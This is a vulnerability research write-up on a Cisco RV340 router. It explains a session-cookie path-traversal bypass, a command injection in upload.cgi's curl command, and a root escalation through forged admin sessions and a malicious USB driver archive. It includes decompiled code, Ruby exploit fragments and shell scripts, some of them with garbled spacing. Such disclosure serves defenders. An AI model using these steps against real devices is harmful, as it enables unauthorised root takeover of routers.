The command injection vulnerability lies in the handler for the /upload uniform resource identifier (URI). This handler is located in the /www/cgi-bin/upload.cgi binary. To successfully reach the vulnerable code in the upload handler we must first bypass an attempt at access control as highlighted in yellow, implemented via the NGINX configuration file /etc/nginx/conf.d/web.upload.conf, shown below.

As shown in the highlighted code above, a session id value (originally generated server side after a client has successfully authenticated itself) is retrieved from a cookie that was passed in via the request. This session id value is used to construct a path to test if a valid session file is present before the request is allowed. If a valid session file is not found, the request is denied via a 403 forbidden response.  NGINX is responsible for parsing the HTTP cookies and generating the $cookie_sessionid variable via src/http/ngx_http_variables.c!ngx_http_variable_cookie. As such, no filtering or validation is performed on this session id cookie value, allowing an attacker to pass an arbitrary path as a session id value and this path can resolve to a valid file allowing the check to be satisfied, even though the valid file may not be an actual session file. For example, if we pass the value “../../../etc/firmware_version” as the sessionid this check will be passed and we may now call the /upload CGI handler. Of note is the fact that the directory /tmp/websession/token/ will not be present by default upon booting the device and is only created the first time a user is successfully logged in. To overcome this an attacker may perform a successful login via a built-in guest account which has both a username and password of “guest”. Performing this guest login will create the websession directory, but a guest account cannot access the web ui so no session will be created. For this reason, we cannot use the guest session to target the /upload URI and instead use the authentication bypass described here.

            v16 = strcmp_1(REQUEST_URI, "/api/operations/ciscosb-file:form-file-upload");

            if (v16 != 0) {

                v17 = strcmp_1(REQUEST_URI, "/upload");

                if (v17 == 0 && HTTP_COOKIE != 0) { // if the URI is /upload and we have a sessionid in the cookie

                    v18 = strlen_1(HTTP_COOKIE);

                    if (v18 < 81) { // sanity check sessionid characters

                        v19 = match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE);

                        if (v19 == 0) {

                            v20 = StrBufToStr(local_0x44);

                            func_0x2684(HTTP_COOKIE, content_destination, content_option, content_pathparam, v20, content_cert_name, content_cert_type, content_password);

                        }

                    }

                }

            }

    if (HTTP_COOKIE != 0) { // if an cookie is available

        StrBufSetStr(cookie_str, HTTP_COOKIE);

        __s2 = StrBufToStr(cookie_str);

        next_semicolon = strtok_r(__s2, ";", &saveptr); // start to split the semicolon deliminated cookie

        HTTP_COOKIE = 0; // this variable will become the sessionid string

        while (next_semicolon != 0) {

            sessionid = strstr(next_semicolon, "sessionid=");

            if (sessionid != 0) { // advance past "sessionid=" and set the value

                HTTP_COOKIE = sessionid + 10; // advance past "sessionid=" and set the value

            }

            next_semicolon = strtok_r(0, ";", &saveptr); // keep searching

        }

    }

    // upload.cgi!main+0x164

    jsonutil_get_string(data_0x13248 + 0x4, &content_file_param, "\"file.path\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_filename, "\"filename\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_pathparam, "\"pathparam\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_fileparam, "\"fileparam\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_destination, "\"destination\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_option, "\"option\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_cert_name, "\"cert_name\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_cert_type, "\"cert_type\"", -1);

    jsonutil_get_string(data_0x13248 + 0x4, &content_password, "\"password\"", -1);

int __cdecl func_0x2104(int content_destination, int content_fileparam, int content_option)

{

    // ...

        StrBufSetStr(v8, "FILE://3g-4g-driver/");

        StrBufAppendStr(v8, content_fileparam);

        v9 = json_object_new_string("2.0");

        json_object_object_add(json_obj1, "jsonrpc", v9);

        v10 = json_object_new_string("action");

        json_object_object_add(json_obj1, "method", v10);

        json_object_object_add(json_obj1, "params", json_obj3);

        v11 = json_object_new_string("file-copy");

        json_object_object_add(json_obj3, &string_jsonrpc + 0x4, v11);

        json_object_object_add(json_obj3, "input", json_obj2);

        v12 = json_object_new_string("3g-4g-driver");

        json_object_object_add(json_obj2, "fileType", v12);

        json_object_object_add(json_obj2, "source", json_obj4);

        v13 = StrBufToStr(v8);

        v14 = json_object_new_string(v13);

        json_object_object_add(json_obj4, "location-url", v14);

        json_object_object_add(json_obj2, "destination", json_obj5);

        v15 = json_object_new_string(content_destination);

        json_object_object_add(json_obj5, "firmware-state", v15);

        json_object_object_add(json_obj2, "firmware-option", json_obj6);

        v16 = json_object_new_string(content_option);

        json_object_object_add(json_obj6, "reboot-type", v16);

    if (json_obj != 0) {

        json_str = json_object_to_json_string(json_obj);

        sprintf(&buff, "curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type: application/json' -d '%s'", v3, sessionid, json_str);

        debug("curl_cmd=%s", &buff);

        __stream = popen(&buff, "r");

        if (__stream != 0) {

            fread_1(&buff[2048], 2048, 1, __stream);

            fclose_1(__stream);

        }

The function json_object_to_json_string is from the shared object /usr/lib/libjson-c.so.2.0.1. This function fails to escape single quotes in a json value. This allows us to include a single quote in one of the input parameters for the json object, and as such we can perform a command injection attack in the constructed curl command, as highlighted in yellow above.  Commands are run with the privileges of the www-data user.

Of note is the presence of a stack-based buffer overflow vulnerability in the unsafe sprintf call. The buffer written to is 2040 bytes in size, if we pass in an attacker-controlled form field large enough, we can overflow the buffer on the stack. As it is easier and more reliable to leverage a command injection vulnerability, we will not exploit the stack-based buffer overflow.

To execute arbitrary code with root privileges we can leverage the command injection vulnerability to forge an admin session and then use this session to upload a 3g-4g-driver archive which will contain an attacker-controlled shell script that will be executed with root privileges.

To forge an admin session, we write a json object that describes the session to the /tmp/websession/session file. This is the file that will be queried when a session id is validated by the router. We must also create an empty file whose name is that of a valid session id value. A valid session id is a base64 encoded string comprising of the username, IP address of the client and a timestamp. Our exploit will generate the admin session as follows:

            fake_username = "sf"

            admin_sessionid = Base64.encode64("#{fake_username}/#{http.local_address}/#{uptime_seconds}").gsub("\n", "")

            websessions = % Q[{

            "max-count":1,

                "#{fake_username}" : {

                "#{admin_sessionid}":{

                    "user":"#{fake_username}",

                        "group" : "admin",

                        "time" : #{uptime_seconds},

                        "access" : 1,

                        "timeout" : 1800,

                        "leasetime" : 0

                }

            }

        }]

            websessions.gsub!("\n", "\\n")

            result = cisco_rv340_wwwdata_command_injection(http, "echo -n -e #{websessions} > /tmp/websession/session; echo -n 1")

            if (result.nil ? or result.to_i != 1)

                $stdout.puts("[-] Failed create /tmp/websession/session") if @verbose

                return nil

            end

            result = cisco_rv340_wwwdata_command_injection(http, "touch /tmp/websession/token/#{admin_sessionid}; echo -n 1")

            INSTALL_USB_DRIVERS = "sh /usr/bin/install_usb_drivers"

            # ...

            # Download drivers from PC case           

            if["$filetype" = "3g-4g-driver"]; then

                checkPC = `echo $source_location_url | grep "$FILE_DRIVER"`

                if[-n "$checkPC"]; then

                    orig_filename = `basename $source_location_url`

                    # We assume that web server will put the file to correct location before calling this RPC

                    if[-e "$DRIVER_DL_PATH/$orig_filename"]; then

                        `$INSTALL_USB_DRIVERS $DRIVER_DL_PATH / $orig_filename 2 > / dev / null 1 > / dev / null`

                        errcode = $ ?

#!/bin/sh                                                 

DRIVER_FILE = `basename $1`

DRIVER_FILE_DIR = `dirname $1`

DOWN_DIR = "/tmp/"

INSTALL_STATUS = 0

ASDSTATUS = "/tmp/asdclientstatus"

if["$DRIVER_FILE_DIR" != "."]; then

    #Absolute path

    if["$DRIVER_FILE_DIR" != "/tmp"]; then

        `cp - f $1 $DOWN_DIR`> /dev/null 2 > &1

    fi

fi

DRIVER_DIR = "/tmp/driver"

mkdir - p $DRIVER_DIR

# Extract the file

tar - xzf $DOWN_DIR$DRIVER_FILE - C $DRIVER_DIR

if["$?" - eq 0]; then

    # Install the driver

    `/${DRIVER_DIR}/sbin/usb-modem install` > /dev/null 2 > &1

    INSTALL_STATUS = "$?"

else

    INSTALL_STATUS = 1

fi

rm - rf "$DOWN_DIR/$DRIVER_FILE"

rm - rf "$DRIVER_DIR"

echo $INSTALL_STATUS > $ASDSTATUS

exit $INSTALL_STATUS